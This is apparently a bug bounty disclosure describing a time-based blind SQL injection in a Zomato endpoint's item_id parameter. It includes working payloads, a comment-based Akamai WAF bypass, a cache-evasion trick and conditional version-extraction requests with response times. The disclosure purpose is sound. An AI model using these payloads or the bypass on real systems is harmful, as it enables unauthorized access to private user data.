Thanks to the entire @Zomato team for doing this challenge. Its a pleasure to be back in the bug bounty game after a while.
So I managed to find SQLi on
https://www.zomato.com/php/██████████ in the POST parameter item_id. Debugging and exploiting this issue was somewhat confusing in the beginning because there seems to be database caching going on based on the int value that is given. So for example when you submit item_id=1111-stuffthatchangeshere multiple times the payload won't work anymore. In order to circumvent this caching you need to increment or decrement the integer before the payload every request.
I started of simple to really understand that we were dealing with a SQLi. The sleep command was the way for me to proof this and this worked quite easily using my previous discovered Akamai Kona Bypass:
POST https://www.zomato.com/php/██████████ Body: res_id=1111&method=add_menu_item_tags&item_id=1111-sleep/*f*/(10)&new_tags=3&menu_id=1111
From there I wanted to proof data extraction and came up with the following POC:
Response time: 6090ms
POST https://www.zomato.com/php/██████████ res_id=1111&method=add_menu_item_tags&item_id=1111-if(mid(version/*f*/(),1,1)=5,sleep/*f*/(5),0)&new_tags%5B%5D=3&menu_id=1111
Response time: 910ms
POST https://www.zomato.com/php/██████████ res_id=1111&method=add_menu_item_tags&item_id=1111-if(mid(version/*f*/(),1,1)=4,sleep/*f*/(5),0)&new_tags%5B%5D=3&menu_id=1111
This proofs that version() starts with a 5 and shows that we can extract data out of the database. At this point I stopped testing to write the report. Good luck fixing.
Full database access holding private user information.